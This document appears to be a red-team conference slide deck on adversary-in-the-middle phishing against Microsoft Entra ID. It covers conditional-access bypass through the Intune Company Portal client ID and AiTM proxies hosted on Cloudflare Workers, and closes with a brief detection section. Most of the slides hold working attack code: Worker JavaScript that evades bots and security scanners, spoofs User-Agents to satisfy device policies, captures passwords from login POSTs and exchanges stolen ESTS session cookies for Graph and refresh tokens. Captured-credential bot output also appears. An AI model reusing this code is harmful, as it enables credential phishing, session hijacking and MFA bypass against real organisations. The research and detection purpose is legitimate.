



# **Payload-less Initial Access leveraging cloud workers & conditional access bypass**

**Sunny Chau & Tom Ellson**

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# Who are we

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# Agenda

- Recap on AiTM & CAP Bypasses
- Leveraging TokenSmith
- AiTM inside of Cloudflare workers
- War Stories
- Detection and Further Thoughts

# AiTM – What is it and why care?




## AiTM Phishing

- TI relevant - ss are you with us today in the audience?
- Not easy to detect / block
- Gets the actor a ton of access

# AiTM Flow for Microsoft Entra ID

- User lured to AiTM site
  - usually behind Cloudflare or proxy service
- User enters credentials and MFA.
- Malicious Server intercepts the returning ESTS\* cookies for authentication




# AiTM Flow for Microsoft Entra ID

User returned to attacker-controlled redirection site

Attacker Imports ESTS\* Tokens into the browser for session theft

OAuth Flow for swapping the ESTS\* cookie for Graph and Refresh tokens through the OAuth Flow



# ESTSAUTH Tokens

Wednesday, July 26th

 **PhishingData** APP 1:42 PM

\*\*\*\*\*

🎯 Pwned - Password received!

User: [derpy.t](#) [REDACTED]

Password: **A password here**

Note: The 1st cookie below is unlikely to provide you access unless they have no 2FA.  
The 2nd cookie will contain the 2FA data and the 3rd one the 2FA + 'Stay signed in' data.


\*\*\*\*\*

🍪 Cookies found!

esctx-jQZDvhRHY4=; domain=.login.microsoftonline.com; expires=Tue, 01-Jul-2025 12:42:33 GMT; path=/; SameSite=None; ESTSAUTHPERSISTENT=1.AUEBe6mZqbzPUkCgIYFUh6CA8VtEZUfGMrBJg-[REDACTED]

# Session Theft

```
te@tdejmp:/mnt/c/Users/te/Downloads$ cat oi.cok
ESTSAUTHPERSISTENT=1.ATs; domain=.login.microsoftonline.com; expires=Tue, 17-
ESTSAUTHPERSISTENT=1.ATs;
```





# AiT M Common Toolkits

- Modlishka - <https://github.com/drk1wi/Modlishka>
- Evilginx2 - <https://github.com/kgretzky/evilginx2>
- NecroBrowser - <https://github.com/muraenateam/necrobrowser>

```
Modlishka
>>> "Modlishka" Reverse Proxy started - v.1.1 <<<
Author: Piotr Duszynski @drk1wi

Listening on [0.0.0.0:443]
Proxying HTTPS [google.com] via [https://loopback.modlishka.io]
Listening on [0.0.0.0:80]
Proxying HTTP [google.com] via [http://loopback.modlishka.io]
```



# Real Word Examples Of Custom Kits

New Completed PDF Document Received

You've (2) new PDF Document for your review

Please sign and return

[Review Secure Documents](#)

# Phishing Related Indicators (1)




[www.microsoftonline.com](http://www.microsoftonline.com)

Please stand by, while we are cheking if the site connection is secure

Verify you are human CLOUDFLARE  
Privacy • Terms

Did you know there are Verified Bots that are allowed around the internet because they help provide services we use day to day?


Microsoft needs to review the security of your connection before proceeding.



## Phishing Related Indicators (2)

The image shows a Microsoft login page with a red border. At the top, the Microsoft logo and the URL "www.microsoftonline.com" are displayed. Below this, a message says "Please stand by, while we are checking if the site connection is secure". A Cloudflare "Verify you are human" reCAPTCHA box is present. A tooltip at the bottom left of the page states: "Did you know there are Verified Bots that are allowed around the internet because they help provide services we use day to day?". At the bottom right, a message reads: "Microsoft needs to review the security of your connection before proceeding."

# Adversary In The Middle (AiTM)



# Fingerprinting

```
56 </style>
57 </head>
58 <body class="delivered" id="zSHkSR201x">
59   <header>
60     <h1>Food and Drink Info</h1>
61   </header>
62   <div class="zSHkSR201x container">
63     <!-- Food Section -->
64     <div class="section">
65       <h2>Food</h2>
66       <p>Explore a variety of delicious food options including appetizers, main courses, and desserts.</p>
67       <ul>
68         <li>Appetizers: Bruschetta, Stuffed Mushrooms, Garlic Bread</li>
69         <li>Main Courses: Spaghetti Carbonara, Grilled Chicken, Vegetarian Lasagna</li>
70         <li>Desserts: Tiramisu, Cheesecake, Chocolate Lava Cake</li>
71       </ul>
72     </div>
73
74     <!-- Drink Section -->
75     <div class="zSHkSR201x section">
76       <h2>Drinks</h2>
77       <p>Discover a range of beverages to complement your meal, including soft drinks, cocktails, and coffee.</p>
78       <ul>
79         <li>Soft Drinks: Cola, Lemonade, Iced Tea</li>
80         <li>Cocktails: Margarita, Mojito, Cosmopolitan</li>
81         <li>Coffee: Espresso, Cappuccino, Latte</li>
82       </ul>
83     </div>
84   </div>
85   <footer>
86     <p>© 2025 Food and Drink Info. All rights reserved.</p>
87   </footer>
88 </body>
89 <script>
90   window.location.reload();
91 </script>
```

HTML Title Displaying a page...

Response Body EXPAND

# Food and Drink Information

## Food

Explore a variety of delicious food options including appetizers, main courses, and desserts.

- \* Appetizers: Bruschetta, Stuffed Mushrooms, Garlic Bread
- \* Main Courses: Spaghetti Carbonara, Grilled Chicken, Vegetarian Lasagna
- \* Desserts: Tiramisu, Cheesecake, Chocolate Lava Cake

## Drinks

Discover a range of beverages to complement your meal, including soft drinks, cocktails, and coffee.

- \* Soft Drinks: Cola, Lemonade, Iced Tea
- \* Cocktails: Margarita, Mojito, Cosmopolitan
- \* Coffee: Espresso, Cappuccino, Latte

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# Tracking / Hunting

## Hosts

Results: 298 Time: 0.28s

💻 31.214.157.179

⚙️ Ubuntu Linux 🌐 RACKPLACE (58329)

remote-access default-landing-page

> 22/SSH

80/HTTP

443/HTTP

💻 31.214.157.175

⚙️ Ubuntu Linux 🌐 RACKPLACE (58329)

default-landing-page remote-access

> 22/SSH

80/HTTP

443/HTTP

💻 64.23.219.212

⚙️ Ubuntu Linux 🌐 DIGITALOCEAN-ASN (14061)

📍 California, United States

remote-access default-landing-page



> 22/SSH

80/HTTP

443/HTTP

Results	360	Filter:	Past month	View Detail	⋮
<b>170.205.52.161 / 443 / N/A</b>					
Location:	🇺🇸 United States	Header	App/Product	200	2025-04-01 GMT +8
Web Title:	Displaying a page...	HTTP/1.1 200 OK			
Protocol:	https	Set-Cookie: PHPSESSID=kga22ds11psjqupq6qgassbbjl; path=/			
Trans Protocol:	tcp	Cache-Control: no-store, no-cache, must-revalidate			
Pragma:	no-cache	Pragma: no-cache			
Server:	Apache/2.4.41 (Ubuntu)	Server: Apache/2.4.41 (Ubuntu)			
Access-Control-Allow-Methods:	GET, POST, OPTIONS	Access-Control-Allow-Methods: GET, POST, OPTIONS			
Access-Control-Allow-Headers:	Content-Type	Access-Control-Allow-Headers: Content-Type			
<b>147.182.193.35 / 443 / r1pm.xyz</b>					
Location:	🇺🇸 Santa Clara, United States	Header	App/Product	200	2025-03-31 GMT +8
Web Title:	Displaying a page...	HTTP/1.1 200 OK			
Protocol:	https	Date: Mon, 31 Mar 2025 12:06:59 GMT			
Trans Protocol:	tcp	Pragma: no-cache			
Vary:	Accept-Encoding	Vary: Accept-Encoding			
Server:	Apache/2.4.52 (Ubuntu)	Server: Apache/2.4.52 (Ubuntu)			
Expires:	Thu, 19 Nov 1981 08:52:00 GMT	Expires: Thu, 19 Nov 1981 08:52:00 GMT			
Cache-Control:	no-store no-cache must-revalidate	Cache-Control: no-store no-cache must-revalidate			

# Further analysis



# Preventative Controls - Conditional Access Policies (CAP)


# What are Entra ID CAPs?

CAP In a Nutshell:

- Hole is for users
- Yellow wall for bad guys



# Pictorially




# How do CAPs protect identities?

Something the **user** possesses

**But**

The AiTM server, and the Adversary does **not**



## Identity Sigil



### Artifact

“Something the user possesses  
But The AiTM server, and the  
Adversary does not.”

Grants immunity to credential replay  
and phishing illusions upon proof-  
of-possession.

# What are those legendary things?

**Compliant or hybrid Azure AD joined device**

Public Key challenge  
("phishing-resistant MFA")

Special ingress IP

..and weaker things like geolocation, client ID,  
User Agent string

# TokenSmith Detour -A story of bypassing the Compliant device boundary



Sunny Chau • You

Red teamer @JUMPSEC | OSCP CRTO

2mo • Edited • 1

🛠 PoC Tooling Release & Upcoming Webinar 🛠

We @JUMPSEC Labs are excited to release a new #EntralID offensive tool - TokenSmith - that demonstrates how to bypass #Intune company-compliant device conditional access policy to run additional offensive tooling.

🕒 1,649 others

59 comments • 258 reposts

📊 186,074 impressions

[View analytics](#)



Add a comment...



Most relevant ▾



Benjamin Jones • 1st

Managed SaaS Alerts Director

1mo ...

Thank you for this [Sunny Chau](#). I made a video this afternoon after experimenting with this project a bit. I don't think I've even scratched the surface. <https://youtu.be/gjPuAUYYRg0>



Bypass Intune Compliant Device Conditional Access  
Using TokenSmith and ROADtools

## Video performance

70,748

Video Views

246h 13m

Watch time

12s

Average watch time

(post drop – 27<sup>th</sup> Dec)

(which was day after Boxing day ....)

# December whispers

- **HINT 1:**
  - **Client ID: '9ba1a5c7-f17a-4de9-a1f1- 6178c8d51223'**
- **HINT 2:**
  - **[Intune Company Portal]**



# OAuth2 mechanism & RTFM

Updated by: [8252](#), [8996](#), [9700](#)

Internet Engineering Task Force (IETF)

Request for Comments: 6749

Obsoletes: [5849](#)

Category: Standards Track


ISSN: 2070-1721

Errata Exist

D. Hardt, Ed.

Microsoft

## The OAuth 2.0 Authorization Framework



Note: The lines illustrating steps (A), (B), and (C) are broken into two parts as they pass through the user-agent.

Figure 3: Authorization Code Flow

# Message after RTFM

- Redirect URI is not Arbitrary
- Microsoft doesn't publish their first party App redirectors
- So, this is probably the main thing we need to reverse engineer

# How would you approach this?

**WHAT** – being able to run offensive tools

**HOW** - Authenticate into Entra ID with compliant device CAP, without using a compliant device




The red team, using a Microsoft 0-day on the next engagement

# Approach one – device code

Because .. it has the name 'device' in it

You can specify client ID when initiating a device code sign in



# We're blocked

Review of logs:

- Did not satisfy the CAP



derpy.fonde


## Help us keep your device secure

Your sign-in was successful, but your admin requires the device that's requesting access to be managed by Entra Research to access this resource.

[More details](#)

# Approach 4 – Trying to get TLS layer HTTP proxy working

- Burp suite
- System proxy
- CA cert



# Okay – System level https proxy working



The screenshot illustrates a system-level https proxy setup. On the left, a browser capture shows two requests to `https://example.com` (GET /) with status codes 200 and 1620 HTML. Below this, a detailed view of the first request shows the raw HTTP/2 headers, including the User-Agent: `'PowerOfLoveAndFriendShip'`. On the right, the proxy's internal state is shown in a PowerShell window. A red arrow points from the highlighted User-Agent header in the browser capture to the corresponding PowerShell command. The PowerShell command uses the `iwr` cmdlet to make a GET request to `https://example.com` with the same User-Agent value. The output of the command is displayed below, showing the StatusCode (200), StatusDescription (OK), and Content (HTML response). The proxy's internal state shows the full HTTP response message, including the header and the HTML content.

Request	Response
1 https://example.com GET /	200 1620 HTML
2 https://example.com GET /	200 1620 HTML

HTTP/2 200 OK  
Accept-Ranges: bytes  
Content-Type: text/html  
Etag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"  
Last-Modified: Mon, 13 Jan 2025 20:11:20 GMT  
Vary: Accept-Encoding  
Content-Length: 1256  
Cache-Control: max-age=1959  
Date: Sat, 01 Mar 2025 15:33:05 GMT  
Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"  
<!doctype html>  
<html>  
<head>  
<title>Example Domain</title>

```
PS > iwr https://example.com -UserAgent 'PowerOfLoveAndFriendShip'  
StatusCode : 200  
StatusDescription : OK  
Content : <!doctype html>
```

# But for what we needed ... it did not work out



Reason?  
mTLS check?

Proxy  
detection?

# Google to the rescue

There must be those with enterprise SSL HTTP proxy with same issue?

HOW TO MANAGE DEVICES

ZeroTouch.ai

Supercharged Real-time Intune Companion

- Install & Auto update 15K Apps
- Intuitive, sequenced, & optimized Autopilot
- Remote Desktop & Remote Shell

Single-Tenant | M...

## FIX Intune Company Portal App Login Issues with Windows 10/11

Last Updated: August 6, 2024 by Anoop C Nair

Intune **Company Portal App Login Issues** with Windows 11 or Windows 10 Devices? Have you tried **Repair** or Reset Company Portal App to fix the issue? The Intune company portal **application** is no

anoopcnair.com/fix-intune-company-portal-app-login-issues/

Logged at authorizationclient.cpp, line: 233, method:  
AAD::Core::WebAccountProcessor::ReportOperationError.

**Error: 0xCAA82EE2 The request has timed out.**

Log Name: Microsoft-Windows-AAD/Operational

Source: Microsoft-Windows-AAD

Date: 15/07/2020 16:00:58

**Event ID: 1098**

Task Category: AadTokenBrokerPlugin Operation

Level: Error

Keywords: Operational,Error

User:

Computer:

Description:

**Error: 0xCAA82EE2 The request has timed out.**

Exception of type 'class HttpException' at xmlhttpwebrequest.cpp, line: 163, method:

**XMLHTTPWebRequest::ReceiveResponse.**


Log: 0xcaa10083 Exception in WinRT wrapper.

Logged at authorizationclient.cpp, line: 233, method: ADALRT::AuthorizationClient::AcquireToken.

Request: authority: <https://login.microsoftonline.com/common>, client: 8ba1a5c7-f19a-5de9-a1f1-7178c8d51343, redirect URI: ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113

wait what?

# Demo time



PowerShell

PS C:\Windows\Temp>

MPSEC

# The shadow patch

- **Roughly 20<sup>th</sup> Feb 2025** Microsoft quietly reduced the scope for the token you could get from company portal
- Noticeably narrower than the original, notably only on top of the Intune related ones:
  - **ServicePrincipalEndpoint.Read & User.Read**
- Also, Tokensmith's executable has become 'malware'

# So ... we've covered Token-Flare

**Now show me the payload-less initial access!**




?



?



?



# Cloudflare Workers

Serverless JavaScript functions that run at the edge - on Cloudflare's global network.  
They allow developers to run logic close to users

Great work has gone into replicating AiTM flows inside of Cloudflare workers  
(<https://zolder.io/>)

- <https://zolder.io/blog/aitm-attacks-using-cloudflare-workers/>
- <https://github.com/zolderio/AITMWorker>




# The Adversary's Perspective

- workers.dev is the domain name used, pages.dev is another beast
- The attacker controls part of the subdomain:
  - Example: **test-op-orange.<controlledbyattacker>.workers.dev**
  - Workers.dev & Pages.dev has a high level of reputation and is being widely abused
- The attacker can set up a Custom Domain
  - CNAME records are created based off of the worker address

## Hunting Tip:

Free Cloudflare Accounts use the Email Address as a subdomain (**by default**)

# Cloudflare Workers



# Improving Capabilities – What We Wanted

- OPSEC safe deployments
- **Token exchange** to obtain Graph and Refresh Token natively
- Modular FOCI client ID'S toggled based application scope
- Toggling MSGRAPH & AADGRAPH
- CAP Manipulation (Device Based Requirements – Intune bypass)
- ATIM inside of CF for SAML applications



# Operational Security

```
if (!incoming_url.includes(COMPANY_NAME) && !referer.includes(COMPANY_NAME)
    && !incoming_url.includes('kmsi') && !referer.includes('kmsi')) {
    response = new Response('Access denied.', {
        status: 403
    });
    return response;
}

//Add the url that you want to finally redirect to via the REDIRECT_URL variable
if(incoming_url.includes('kmsi') || referer.includes('kmsi')){
    const redirectUrl = REDIRECT_URL;
    const statusCode = 301;
    const destinationURL = `${redirectUrl}`;
    console.log(destinationURL);

    return Response.redirect(destinationURL, statusCode);
}
```



```
//block specific bot IP ranges
blockedIPs.forEach(blockedIP => {
    if (ip_address.includes(blockedIP)) {
        response = new Response('Access denied.', {
            status: 403
        });
        return response;
    }
});

//block specific bot AS Orgs
if(ENABLE_AS_ORG_CHECK == true){
    blockedASOrganizations.forEach(blockedAS => {
        if (asOrganization.includes(blockedAS)) {
            response = new Response('Access denied.', {
                status: 403
            });
            return response;
        }
    });
}

//check if a real browser is being used
if(ENABLE_MOZILLA_CHECK == true){
    //check that it has some sort of regular browser text
    if (!user_agent.includes('mozilla/5.0')) {
        response = new Response('Access denied', {
            status: 403
       });return response;
    }
}
```

```
if(ENABLE_CHROME_CHECK == true){
    if ((user_agent.includes('chrome') || user_agent.includes('firefox')) && !user_agent.includes('edg')) {
        // Display a custom HTML page asking the user to use Microsoft Edge
        const html = `
            <!DOCTYPE html>
            <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <meta name="viewport" content="width=device-width, initial-scale=1.0">
                    <title>Please Use Microsoft Edge</title>
                    <style>
                        body {
                            font-family: Arial, sans-serif;
                            display: flex;
                            justify-content: center;
                            align-items: center;
                            height: 100vh;
                            margin: 0;
                            background-color: #f0f0f0;
                        }
                        .message {
                            text-align: center;
                            padding: 20px;
                            background: white;
                            border: 1px solid #ccc;
                            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                        }
                    </style>
                </head>
                <body>
                    <div class="message">
                        <div class="logo">
                            
                        </div>
                        <p>For the best user experience please use Microsoft Edge</p>
                    </div>
                    <script>
                        document.addEventListener('DOMContentLoaded', function() {
                            setTimeout(function() {
                                window.location.href = 'microsoft-edge:${request.url}';
                            }, 2000);
                        });
                    </script>
                </body>
            </html>
        `;
    }
}
```

# Conditional Access (Specific Devices)



# Adjusting The Flow - User-Agent Manipulation

**Controlling the User Agent** – We can control where Microsoft thinks we are authenticating from

```
//All checks are now complete so proceed
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);
new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.protocol + '//' + url.hostname),
new_request_headers.set('User-Agent', Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15');
// Obtain password from POST body
if (request.method === 'POST') {
  const temp_req = await request.clone();
  var body = await temp_req.text()
  const keyValuePairs = body.split('&');
  var password = "";
  var message = "\n*****\n"
  message = message + ":dart: *Pwned - Password received!\n\n"
  // etc.
```

**Imagine a CAP is in place to enforce Windows compliant devices, however, allows unmanaged IOS and MACOS Devices, using this we can satisfy the CAP**

# Adjusting the flow

The screenshot shows a web browser window with the URL [mysignins.microsoft.com/security-info](https://mysignins.microsoft.com/security-info). The main content area displays 'My Sign-Ins' and 'Security info'. It lists four sign-in methods: Phone (redacted), Password (last updated 6 months ago), Microsoft Authenticator (iPhone 16 Pro), and Microsoft Authenticator (iPhone 13). Below this, there is a link 'Lost device? [Sign out everywhere](#)'. To the right of the main content, a dropdown menu is open, listing various devices categorized by platform. The 'Mobile' section includes: Windows / IE 11, Windows / Edge 133, Windows / Chrome 134, Windows / Firefox 128 ESR. The 'Android' section includes: Android Phone / Firefox 136, Android Phone / Chrome 134, Android Tablet / Firefox 136, Android Tablet / Chrome 134. The 'iOS' section includes: iPhone / Safari 18, iPad / Safari 18. The 'Bot' section includes: Google Bot, Twitter Bot, Facebook Bot. The 'Other' section includes: PS5, Curl, Wget. The option 'Macos' is selected and highlighted with a red border.

My Sign-Ins ▾

## Security info

These are the methods you use to sign into your account or reset your password.

You're using the most advisable sign-in method where it applies.

Sign-in method when most advisable is unavailable: Microsoft Authenticator - notification [Change](#)

+ Add sign-in method

	Phone	[REDACTED]	<a href="#">Change</a>	<a href="#">Delete</a>
	Password	Last updated: 6 months ago	<a href="#">Change</a>	
	Microsoft Authenticator Push multi-factor authentication (MFA)	iPhone 16 Pro		<a href="#">Delete</a>
	Microsoft Authenticator Push multi-factor authentication (MFA)	iPhone 13		<a href="#">Delete</a>

Lost device? [Sign out everywhere](#)

Mac OS X / Safari 10

- Windows / IE 11
- Windows / Edge 133
- Windows / Chrome 134
- Windows / Firefox 128 ESR
- Mobile
- Android Phone / Firefox 136
- Android Phone / Chrome 134
- Android Tablet / Firefox 136
- Android Tablet / Chrome 134
- iPhone / Safari 18
- iPad / Safari 18
- Bot
- Google Bot
- Twitter Bot
- Facebook Bot
- Other
- PS5
- Curl
- Wget
- Macos

# Abusing the Intune Flow (Inside the Worker)

```
// Code to handle the Intune flow inside the Worker
const NewHeaders = new Headers();
NewHeaders.append("Cookie", useable_cookies);
NewHeaders.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
const OAUTHPURL = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&resource=" + REFRESH_RESOURCE + "&redirect_uri=ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113&state=dfacd1ed-458c-4fbe-96a8-629496dbc754&sso_reload=true"
const responsey = await fetch(OAUTHPURL, {
    method: 'GET',
    headers: NewHeaders
});
const ResponseHeaders = responsey.headers;
const MSHEADER = ResponseHeaders.get("X-Ms-Request-Id");
const text = await responsey.text();
const sFT = /"sFT":\s*"(^[^"]+)"$/; // Match only the first instance
const sCtx = /"sCtx":\s*"(^[^"]+)"$/; // Match only the first instance
const canary = /"canary":\s*"(^[^"]+)"$/; // Match only the first instance
const matchsFT = text.match(sFT);
const matchsCtx = text.match(sCtx);
const matchcanary = text.match(canary);
const mm = matchcanary[1]
const refresh_code = url.searchParams.get('code');

// Create a URL object (add a dummy base if it's a relative URL)
const url = new URL(redirectUrl, "https://login.microsoftonline.com");
const refresh_code = url.searchParams.get('code');
//console.log('URL Path:', url.pathname);


const newbody = {
    "resource": REFRESH_RESOURCE,
    "client_id": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
    "grant_type": "authorization_code",
    "redirect_uri": "ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113",
    "code": refresh_code,
    "scope": "openid"
};
```

# Modular FOCI & Refresh


```
if(REFRESH_FOCI == "true"){
    const headerstoken = new Headers();
    headerstoken.append("Cookie", useable_cookies);
    headerstoken.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
    const Codeswap = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=" +
FOCI + "&resource=" + REFRESH_RESOURCE + "&redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient"
    const responseyswap = await fetch(Codeswap, {
        method: 'GET',
        headers: headerstoken,
        redirect: 'manual'
    });
    const response2 = await responseyswap.text();
    const headers = responseyswap.headers;
    if (responseyswap.status >= 300 && responseyswap.status < 400) {
        const redirectUrl = responseyswap.headers.get('Location');
        // const location = headers.get("Location");
    }
}
```

Plaintext	FOCI	00b41c95-dab0-4487-...   
Plaintext	REDIRECT_URL	https://jumpsec.com   
Plaintext	REFRESH_FOCI	true   
Plaintext	REFRESH_INTUNE	false   
Plaintext	REFRESH_RESOURCE	https://graph.windows....   

# Abusing AiTM for SaaS access (1)



# Abusing AiTM for SaaS access (2)



# Detection and Hunting

- Cloudflare Ranges Authentication
- Session Hijacking

**Location**  
Greater London, GB ⓘ



**Operating System**  
Windows10

**IP** [What is this?](#)  
141.101.98.94

**App**  
Microsoft Intune Company Portal

**Account**  
derpy. [REDACTED]

Look unfamiliar? Secure your account